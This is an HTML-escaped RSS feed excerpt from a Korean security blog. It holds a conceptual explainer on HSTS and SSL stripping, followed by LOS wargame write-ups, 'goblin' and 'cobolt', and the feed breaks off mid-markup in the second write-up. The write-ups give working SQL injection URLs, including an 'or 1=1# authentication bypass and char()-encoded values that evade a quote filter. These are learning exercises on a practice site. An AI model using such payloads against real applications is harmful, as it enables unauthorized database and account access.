&lt;p data-end=&quot;456&quot; data-start=&quot;415&quot; data-ke-size=&quot;size16&quot;&gt;HSTS는 간단히 말해, 웹사이트가 브라우저에게 이렇게 말하는 거예요.&lt;/p&gt;
&lt;blockquote data-end=&quot;501&quot; data-start=&quot;457&quot; data-ke-style=&quot;style3&quot;&gt;
&lt;p data-end=&quot;501&quot; data-start=&quot;459&quot; data-ke-size=&quot;size16&quot;&gt;나하고 연결할 땐 꼭 HTTPS, 그러니까 안전하게 암호화된 길로만 와!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;629&quot; data-start=&quot;503&quot; data-ke-size=&quot;size16&quot;&gt;만약 사용자가 실수로 &lt;b&gt;HTTP&lt;/b&gt;, 즉 안전하지 않은 길로 접속하려 해도, 브라우저가 이를 자동으로 HTTPS로 바꿔줍니다.&lt;br /&gt;그래서 중간에서 누군가 몰래 데이터를 훔치려고 해도, 그 길 자체를 못 쓰게 막아버리는 거죠.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;663&quot; data-start=&quot;636&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;정식 규칙에는 이런 것들이 있습니다&lt;/b&gt;&lt;/h4&gt;
&lt;p data-end=&quot;721&quot; data-start=&quot;665&quot; data-ke-size=&quot;size16&quot;&gt;HSTS는 &lt;b&gt;RFC 6797&lt;/b&gt;이라는 표준 문서에 정의되어 있는데요. 주요 요소는 다음과 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;936&quot; data-start=&quot;723&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;785&quot; data-start=&quot;723&quot;&gt;&lt;b&gt;Strict-Transport-Security&lt;/b&gt;: 브라우저에게 &amp;ldquo;HTTPS만 써라&amp;rdquo;라고 알려주는 메시지&lt;/li&gt;
&lt;li data-end=&quot;828&quot; data-start=&quot;786&quot;&gt;&lt;b&gt;max-age&lt;/b&gt;: 이 규칙을 얼마나 오래 기억할지, 초 단위로 지정&lt;/li&gt;
&lt;li data-end=&quot;879&quot; data-start=&quot;829&quot;&gt;&lt;b&gt;includeSubDomains&lt;/b&gt;: 하위 도메인까지 전부 이 규칙을 적용할지 여부&lt;/li&gt;
&lt;li data-end=&quot;936&quot; data-start=&quot;880&quot;&gt;&lt;b&gt;preload&lt;/b&gt;: 브라우저가 처음부터 이 사이트를 HTTPS로만 접속하게 미리 등록하는 옵션&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;973&quot; data-start=&quot;943&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;그렇다면, HSTS는 어떻게 동작할까요?&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1143&quot; data-start=&quot;975&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;999&quot; data-start=&quot;975&quot;&gt;사용자가 처음 사이트에 접속합니다.&lt;/li&gt;
&lt;li data-end=&quot;1054&quot; data-start=&quot;1000&quot;&gt;서버가 Strict-Transport-Security라는 헤더를 브라우저에 보냅니다.&lt;/li&gt;
&lt;li data-end=&quot;1103&quot; data-start=&quot;1055&quot;&gt;브라우저는 이 내용을 기억하고, 정해진 기간 동안 HTTP 요청을 차단합니다.&lt;/li&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1104&quot;&gt;이후에는 HTTP 주소를 입력해도 자동으로 HTTPS로 바뀝니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-start=&quot;1676&quot; data-end=&quot;1703&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;그럼 HSTS도 뚫릴 수 있을까요?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1705&quot; data-end=&quot;1732&quot; data-ke-size=&quot;size16&quot;&gt;네, 일부 상황에서는 가능합니다. 예를 들어,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;1733&quot; data-end=&quot;1823&quot;&gt;
&lt;li data-start=&quot;1733&quot; data-end=&quot;1759&quot;&gt;브라우저에서 HSTS 기록을 삭제했을 때&lt;/li&gt;
&lt;li data-start=&quot;1760&quot; data-end=&quot;1793&quot;&gt;HSTS를 지원하지 않는 오래된 브라우저를 사용할 때&lt;/li&gt;
&lt;li data-start=&quot;1794&quot; data-end=&quot;1823&quot;&gt;또는 하위 도메인에 HSTS가 적용되지 않았을 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HSTS가 없으면, 처음 접속할 때 HTTP를 거쳐서 HTTPS로 넘어가는 순간이 생길 수 있습니다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그 짧은 순간을 노리는 공격이 바로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;SSL Strip&lt;/b&gt;입니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1302&quot; data-start=&quot;1273&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SSL Strip, 들어본 적 있나요?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1432&quot; data-start=&quot;1304&quot; data-ke-size=&quot;size16&quot;&gt;SSL Strip은 원래 HTTPS로 가야 할 연결을, 중간에서 억지로 HTTP로 유지시키는 공격입니다.&lt;br /&gt;이렇게 되면 사용자는 안전하다고 착각하지만, 사실 데이터는 암호화 없이 전달되고 있고, 공격자가 그걸 볼 수 있는 거죠.&lt;/p&gt;
&lt;p data-end=&quot;1442&quot; data-start=&quot;1434&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1613&quot; data-start=&quot;1443&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1480&quot; data-start=&quot;1443&quot;&gt;사용자가 &lt;a href=&quot;http://example.com&quot;&gt;http://example.com&lt;/a&gt;에 접속합니다.&lt;/li&gt;
&lt;li data-end=&quot;1512&quot; data-start=&quot;1481&quot;&gt;서버는 &amp;ldquo;HTTPS로 연결하세요&amp;rdquo;라고 응답합니다.&lt;/li&gt;
&lt;li data-end=&quot;1560&quot; data-start=&quot;1513&quot;&gt;그런데 공격자가 이 응답을 가로채서 &amp;ldquo;그냥 HTTP로 가라&amp;rdquo;라고 바꿔버립니다.&lt;/li&gt;
&lt;li data-end=&quot;1613&quot; data-start=&quot;1561&quot;&gt;사용자는 그대로 HTTP로 연결되고, 그 사이에 공격자가 모든 데이터를 들여다보는 겁니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1669&quot; data-start=&quot;1615&quot; data-ke-size=&quot;size16&quot;&gt;HSTS는 브라우저 차원에서 HTTP 요청 자체를 막기 때문에, 이런 공격을 예방할 수 있습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;1859&quot; data-start=&quot;1830&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SSL Strip+라는 도구도 있습니다&lt;/b&gt;&lt;/h4&gt;
&lt;p data-end=&quot;2013&quot; data-start=&quot;1861&quot; data-ke-size=&quot;size16&quot;&gt;이건 SSL Strip을 조금 더 발전시킨 형태입니다.&lt;br /&gt;공격자가 &lt;b&gt;DNS 스푸핑&lt;/b&gt;, 즉 웹주소를 속이는 기술을 이용해서, HSTS가 없는 하위 도메인으로 접속하게 유도합니다.&lt;br /&gt;그렇게 되면, 여전히 HTTP로 접속할 수 있게 되고, 데이터가 노출될 수 있는 거죠.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;2050&quot; data-start=&quot;2020&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;HSTS 적용할 때 주의할 점도 있습니다&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2212&quot; data-start=&quot;2052&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2115&quot; data-start=&quot;2052&quot;&gt;먼저 HTTPS 환경이 완전히 안정화된 뒤 적용해야 합니다. 그렇지 않으면 사용자 접속이 막힐 수 있어요.&lt;/li&gt;
&lt;li data-end=&quot;2168&quot; data-start=&quot;2116&quot;&gt;max-age 값은 처음에는 짧게 설정해서 테스트한 뒤, 점차 늘리는 게 좋습니다.&lt;/li&gt;
&lt;li data-end=&quot;2212&quot; data-start=&quot;2169&quot;&gt;운영 환경에 적용하기 전에 테스트 환경에서 충분히 검증하는 게 안전합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;2253&quot; data-start=&quot;2219&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;HSTS Preload List에 등록하는 방법&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;2488&quot; data-start=&quot;2255&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;2318&quot; data-start=&quot;2255&quot;&gt;&lt;a href=&quot;https://hstspreload.org&quot;&gt;https://hstspreload.org&lt;/a&gt;에 접속합니다.&lt;/li&gt;
&lt;li data-end=&quot;2415&quot; data-start=&quot;2319&quot;&gt;다음 조건을 만족해야 합니다:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2415&quot; data-start=&quot;2342&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2369&quot; data-start=&quot;2342&quot;&gt;max-age &amp;ge; 1년(31536000초)&lt;/li&gt;
&lt;li data-end=&quot;2397&quot; data-start=&quot;2373&quot;&gt;includeSubDomains 적용&lt;/li&gt;
&lt;li data-end=&quot;2415&quot; data-start=&quot;2401&quot;&gt;preload 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;2488&quot; data-start=&quot;2416&quot;&gt;등록되면 주요 브라우저에서 처음부터 HTTPS만 사용하게 됩니다.&lt;br /&gt;단, 되돌리기 어려우니 신중하게 결정해야 합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;2513&quot; data-start=&quot;2495&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;브라우저 지원 상황&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2660&quot; data-start=&quot;2515&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2577&quot; data-start=&quot;2515&quot;&gt;Chrome, Firefox, Edge, Safari 등 대부분의 최신 브라우저는 HSTS를 지원합니다.&lt;/li&gt;
&lt;li data-end=&quot;2614&quot; data-start=&quot;2578&quot;&gt;하지만 일부 오래된 모바일 브라우저는 지원이 제한적입니다.&lt;/li&gt;
&lt;li data-end=&quot;2660&quot; data-start=&quot;2615&quot;&gt;Preload로 등록하면, 캐시를 지워도 계속 HTTPS로만 접속하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-end=&quot;2688&quot; data-start=&quot;2667&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;HTTP 응답 헤더 예시&lt;/b&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1754732743798&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-end=&quot;2809&quot; data-start=&quot;2779&quot; data-ke-size=&quot;size26&quot;&gt;  &lt;b&gt;요약 &amp;ndash; HSTS 쉽게 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-end=&quot;2886&quot; data-start=&quot;2811&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-end=&quot;2886&quot; data-start=&quot;2813&quot; data-ke-size=&quot;size16&quot;&gt;HSTS는 웹사이트가 브라우저에게&lt;br /&gt;&quot;이 사이트는 HTTPS(안전한 연결)만 사용하세요&quot;라고 알려주는 보안 규칙입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;3095&quot; data-start=&quot;2888&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2936&quot; data-start=&quot;2888&quot;&gt;&lt;b&gt;왜 필요한가?&lt;/b&gt; HTTP로 접속하면 중간에서 데이터가 훔쳐질 수 있기 때문&lt;/li&gt;
&lt;li data-end=&quot;2998&quot; data-start=&quot;2937&quot;&gt;&lt;b&gt;어떻게 동작하나?&lt;/b&gt; 첫 접속 시 규칙을 보내고, 브라우저가 이를 기억해 자동으로 HTTPS로 변경&lt;/li&gt;
&lt;li data-end=&quot;3034&quot; data-start=&quot;2999&quot;&gt;&lt;b&gt;장점&lt;/b&gt;: SSL Strip 같은 중간자 공격을 차단&lt;/li&gt;
&lt;li data-end=&quot;3095&quot; data-start=&quot;3035&quot;&gt;&lt;b&gt;주의점&lt;/b&gt;: 하위 도메인 포함 설정(includeSubDomains)과 Preload 등록이 중요&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>What is</category>
      <category>hsts</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/31</guid>
      <comments>https://brillian-ye.tistory.com/31#entry31comment</comments>
      <pubDate>Sat, 9 Aug 2025 18:48:52 +0900</pubDate>
    </item>
    <item>
      <title>LOS goblin writeup</title>
      <link>https://brillian-ye.tistory.com/27</link>
      <description>&lt;p&gt;LOS goblin writeup&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9945F8425B5185262C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9945F8425B5185262C&quot; width=&quot;900&quot; height=&quot;308&quot; filename=&quot;6.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;지금 id에 guest가 있고,&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;'id'&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;])&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;&quot;&amp;lt;h2&amp;gt;Hello&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;]}&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;&amp;lt;/h2&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;'id'&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;]&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;'admin'&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;solve&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;&quot;goblin&quot;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;id가 admin이 되면 풀리는 문제인듯하다!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?id=admin&amp;amp;no=1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 넣어도&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;query :&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;select id from prob_goblin where id='guest' and no=1234&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;쿼리 guest는 바뀌지 않는다. 음...guest를 어떻게 없앨까...?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;처음에는 주석으로 guest를 없애서 admin을 넣는 문제인거같은데 도저히 그건 모르겠다...&lt;/p&gt;&lt;p&gt;지금까지 문제와는 다르게 pw가 아니라 no인데 no의 역할은 무엇일지 궁금해졌다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no에 1을 넣으니 아래와 같이 hello guest가 뜬다. 1 이외에 넣으니 hello guest가 사라졌다.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993D96475B5187A422&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993D96475B5187A422&quot; width=&quot;900&quot; height=&quot;357&quot; filename=&quot;7.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id='admin' 이렇게 하니&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;No Quotes ~_~&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 뜸.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=admin&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 해보니&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;query :&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;select id from prob_goblin where id='guest' and no=2 or id=admin&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 추가만 되고 안됨.&lt;/p&gt;&lt;p&gt;그래서 찾아보니 char를 사용해서 아스키코드로 넣어주라고 함!&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;query :&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;select id from prob_goblin where id='guest' and no=2 or id=char(97 100 109 105 110)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;char사용법을 몰라서 이러한 뻘짓도 해보았다...뷁&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=char(97,100,109,105,110)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 하면 성공!! 우왕&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DB913C5B518D2707&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DB913C5B518D2707&quot; width=&quot;900&quot; height=&quot;440&quot; filename=&quot;8.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/Lord of SQL injection Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/27</guid>
      <comments>https://brillian-ye.tistory.com/27#entry27comment</comments>
      <pubDate>Fri, 20 Jul 2018 16:20:16 +0900</pubDate>
    </item>
    <item>
      <title>LOS cobolt writeup</title>
      <link>https://brillian-ye.tistory.com/26</link>
      <description>&lt;p&gt;LOS cobolt writeup&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990365455B5181EF0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990365455B5181EF0A&quot; width=&quot;900&quot; height=&quot;305&quot; filename=&quot;3.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;우선 문제를 보면 get방식으로 되어있고, pw에 md5 암호가 걸려있는 것을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin&amp;amp;pw=1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;.위와 같이&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;query :&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;select id from prob_cobolt where id='admin' and pw=md5('1234')&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 나오고 1번문제 푼것과 같이 넣어보면,&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27or%201=1%23&amp;amp;pw=&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F537335B5182F815&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F537335B5182F815&quot; width=&quot;900&quot; height=&quot;409&quot; filename=&quot;4.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;이렇게 나온다...음... 이 방법은 아닌가보다.&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;if(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(221, 0, 0);&quot;&gt;'id'&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;]&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(221, 0, 0);&quot;&gt;'admin'&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;solve&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(221, 0, 0);&quot;&gt;&quot;cobolt&quot;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 